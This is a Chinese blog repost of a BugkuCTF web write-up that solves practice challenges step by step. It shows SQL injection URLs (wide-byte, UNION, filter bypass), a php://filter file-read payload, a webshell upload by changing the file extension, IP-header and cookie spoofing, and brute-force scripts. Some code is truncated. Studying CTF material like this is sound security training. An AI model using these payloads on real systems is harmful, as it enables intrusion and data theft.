ctf php 出bug了,BugkuCTF—WEB—WriteUp(持续更新)

转载

weixin_39631755 于 2021-03-09 20:03:20 发布 44 收藏
文章标签： ctf php 出bug了
前几个题目都分开写了，后面的会继续全部这个帖子之中！

有问题的机油可以互相交流。

web2

image.png

草鸡简单的题目

文件上传

上传一个小马 提示反日图片文件

那么先把小吗改为图片格式

一个

上传 进行抓包 改包 。jpg 直接改为 php

image.png

image.png

Flag:42e97d465f962c53df9549377b513c7e

计算器

验证码页面，但是input 输入框只能输入一位数字

F12查看 源代码，改为2 或者3 即可

为2

flag{CTF-bugku-0032

web基础$_GET

如果这一题看不明白的话 先去学习下PHP把

image.png

_GET['what'];

echo

_what=='flag')

echo 'flag{****}';

flag{bugku_get_su8kej2en}

web基础$_POST

跟上一题 一摸一样

image.png

flag{bugku_get_ssseint67se}

还是PHP的内容

根据代码的内容可以理解出 num 不能是数字 但是还要等于1

那么进行构造：

flag{bugku-789-ps-ssdf}

咋子控制台里面很容易发现，但是不知道这是什么编码，很是无奈 挨个试下

image.png

KEY{J2sa42ahJK-HS11lll}

BugkuCTF_WEB_sql注入 WriteUp

做这个题目之前，我们下来了解下宽字节注入：

宽字符:

各个字符的含义：

(1)%27 '

(2)%20 空格

(3)'%23 #

(4)%df 運(说明,也可以是其他的%d1之类，解析之后变成中文字符)

来看题目：查询key表,id=1的string字段

表：key

条件：id=1的string字段

怎么测试都没报错，但是坑定是注入点，搜了下才知道是宽字节注入

image.png

欧克、

报错了

http://103.238.227.13:10083/?id=1%df%27

image.png

然后查询：

http://103.238.227.13:10083/?id=1%df' union select 1,string from `key` %23

image.png

BugkuCTF_WEB_域名解析 WriteUp 考察host文件、

首先根据题目，我们自己是无法更改他官方的解析的，只能更改本地的，所以只有host文件，不明白的可以百度下。

image.png

改完host 即可爆出key

image.png

BugkuCTF_WEB_SQL注入1 WriteUp 考察过滤绕过

题目中各种关键词都做了过滤处理怎么办？

来看下 strip_tags() 这个函数。

strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。

那么来利用html中的标签来进行绕过

例如

首先 撸一下数据库的名字：

http://103.238.227.13:10087/?id=-1%20uni%3Ca%3Eon%20selec%3Cp%3Et%20%201,database()

image.png

第二部：

http://103.238.227.13:10087/?id=-1%20uni%3Ca%3Eon%20selec%3Cp%3Et%20%201,hash%20fro%3Ca%3Em%20sql3.key

image.png

c3d3c17b4ca7f791f85e#$1cc72af274af4adef

BugkuCTF_WEB_你必须让他停下 WriteUp

打开来是一个页面接着一个页面的跳转

用burp截取一下，然后进逐个页面查看。

截断后然后action一下，发送到

image.png

然后 点击GO ，及西宁逐个页面查找。

image.png

flag{dummy_game_1s_s0_popular}

web4

80

看看源代码吧

ok来查看源代码

p1 and p2

unspace 来解码

image.png

var p1 =
'%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%

var p2 =
'%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%

eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));

解码后：

p1= function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a)
{if("67d709b2b

p2 =
aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQues

%35%34%61%61%32 = 54aa2

开始合并

function

checkSubmit(){

var a=document.getElementById("password");

if("undefined"!=typeof a){if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)

return!0;

alert("Error");

a.focus();

return!1

}

}

document.getElementById("levelQuest").onsubmit=checkSubmit;

input输入框填写：67d709b2b54aa2aa648cf6e87a7114f1

即可get flag

管理员系统

60

flag格式flag{}

根据提示可以看出 肯定是伪造本地ip才能访问

根据经验猜的

那就伪造试一下

X-Forwarded-For: 127.0.0.1

抓包加上上面这句

果真不出我所料，出flag

image.png

The flag is: 85ff2ee4171396724bae20c0bd851f6b

flag在index里

80

构造payload：

120.24.86.145:8005/post/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

得到base64 编码

PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG

image.png

输入密码查看flag

80

作者：Se7en

单是从路径来看(baopo-》爆破)

image.png

来抓包吧

burp的使用请自行百度下

image.png

image.png

image.png

选中 抓到的 input 输入的内容 选中点击ADD

xu

这个导入要爆破的字典

image.png

出结果了

image.png

flag{bugku-baopo-hah}

附上生成密码脚本 python：

```
import itertools as its
words = "0123456789"
r = its.product(words,repeat=5)
```

dic = open("99999.txt",'a')

for i in r:

dic.write("".join(i)+"\n")

dic.close()

点击一百万次

80

hints:JavaScript

直接F12查看源代码

看到了js

但是怎么才能而绕过这个1000000词呢

在控制台是没有办法修改的

emmmmm

hackbar 你值得拥有

image.png

flag{Not_C00kI3Cl1ck3r}

备份是个好习惯

80

听说备份是个好习惯

这个题目很是一脸懵逼

看了writeup才会做的

dalao 南京邮电的王一航 圈内的认识应该都知道~~

他的工具

https://git.coding.net/yihangwang/SourceLeakHacker.git

image.png

再来看下里面的内容

/**

* Created by PhpStorm.

* User: Norse

* Date: 2017/8/6

```
* Time: 20:22
*/
include_once "flag.php";
ini_set("display_errors", 0); //php ini 的设置
$str = strstr($_SERVER['REQUEST_URI'], '?'); //strstr函数获取?以后的内容
$str = substr($str,1); //将第一位？ 删除
$str = str_replace('key','',$str); //这时候 $str为空了 将key 替换为空
parse_str($str);
echo md5($key1); //下面这几行代码就是 key1 跟 key2 md5相同 但是值不相同(php弱类型漏洞 0e开头的)
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."取得flag";
}
?>
```

image.png

Bugku{OH_YOU_FIND_MY_MOMY}

QNKCDZO

0e830400451993494058024219903391

QNKCDZO

240610708

s878926199a

0e545993274517709034328855841020

s155964671a

0e342768416822451524974117254469

s214587387a

0e848240448830537924465865611904

s214587387a

0e848240448830537924465865611904

s878926199a

0e545993274517709034328855841020

s1091221200a

0e940624217856561557816327384675

s1885207154a

0e509367213418206700842008763514

成绩单

90

sql注入：

四个字段

-1' union select 1,2,3,database()#

-1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()#

-1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666c3467#//这里需要用16进制绕过

-1' union select 1,2,3,skctf_flag from fl4g#

BUGKU{Sql_lNJECT0N_4813drd8hz4}

秋名山老司机

100

是不是老司机试试就知道。

每一次刷新，页面的数值都会发生变化，要求必须在2秒内计算出，人工是不可能的，只能借助代码

上python

```
import requests
import re
url = 'http://123.206.87.240:8002/qiumingshan/'
s = requests.Session()
source = s.get(url)
expression = re.search(r'(\d+[+\-*])+(\d+)', source.text).group() #正则表达式，匹配算术计算
result = eval(expression)
post = {'value': result}
print(s.post(url, data = post).text)
```

速度要快

100

速度要快！！！！！！

格式KEY{xxxxxxxxxxxxx}

OK ,now you have to post the margin what you find

只有一句提示！

抓包看下！

这里发现base64

但是 这不是答案！

我们发现每发送一次请求，他的base64都是不一样的，所以肯定要规定的时间内算出来才可以！

只能借助于python

code如下

```
#coding:utf-8
import requests
import base64
url='http://123.206.87.240:8002/web6/'
s=requests.Session()
header=s.get(url).headers
#print(header)
flag = base64.b64decode(base64.b64decode(header['flag']).decode().split(':')[1]).decode() #对其进行base64两次解密
data={'margin':flag}
print(s.post(url=url,data=data).content.decode())
```

cookies欺骗

100

答案格式：KEY{xxxxxxxx}

url中有很眼熟的字眼

a2V5cy50eHQ=

base64解密

请输入要解密的base64文本：

a2V5cy50eHQ=

解密后的编码为：keys.txt

也就是这样的：

http://123.206.87.240:8002/web11/index.php?line=&filename=keys.txt

就是读取文件名字为keys.txt中的内容

利用python脚本 将其逐行读取，并输出

code如下：

```
# -*- coding:utf-8 -*-
import requests
url = 'http://123.206.87.240:8002/web11/index.php'
s = requests.Session()
for i in range(1,30): #读取前30行
payloads = {'line':str(i),'filename':'aW5kZXgucGhw'} #构造
a = s.get(url,params=payloads).content
c = str(a,encoding="utf-8")
print(c)
```

读取的内容如下：

```
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
```

cookies欺骗 也就是将cookies 构造成上面的条件： $_COOKIE['margin']=='margin'

还有一个点就是 要读取'keys.php

image.png

image.png

never give up

作者：御结冰城

查看源代码，里面有个1p.html的提示

但是访问1p.html后 跳转到bugku的论坛了！

直接查看下1p,html的源代码

var Words
="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3
-
JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDIoZWFkZXIlMjglMjdMb2NhdC
-%3E"

function OutWord()

{

var NewWords;

NewWords = unescape(Words);

document.write(NewWords);

}

OutWord();

解密后发现一段 base64

JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDIoZWFkZXIlMjglMjdMb2NhdC

再次解密：

%22%3Bif%28%21%24_GET%5B%27id%27%5D%29%0A%7B%0A%09header%28%27Location%3A%20hel

在进行url解密

";if(!$_GET['id'])

{

header('Location: hello.php?id=1');

exit();

```
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>
```

按理说应该是通过阅读代码 得出答案，但是他给出了f4l2a3g.txt。直接手动尝试就得到了 flag！

过狗一句话

image.png

image.png

image.png

image.png

字符？正则？

image.png

. 匹配除 "\n" 之外的任何单个字符

* 匹配它前面的表达式0次或多次，等价于{0,}

{4,7} 最少匹配 4 次且最多匹配 7 次，结合前面的 . 也就是匹配 4 到 7 个任意字符

\/ 匹配 / ，这里的 \ 是为了转义

[a-z] 匹配所有小写字母

[:punct:] 匹配任何标点符号

/i 表示不分大小写

image.png

前女友(SKCTF)

image.png

image.png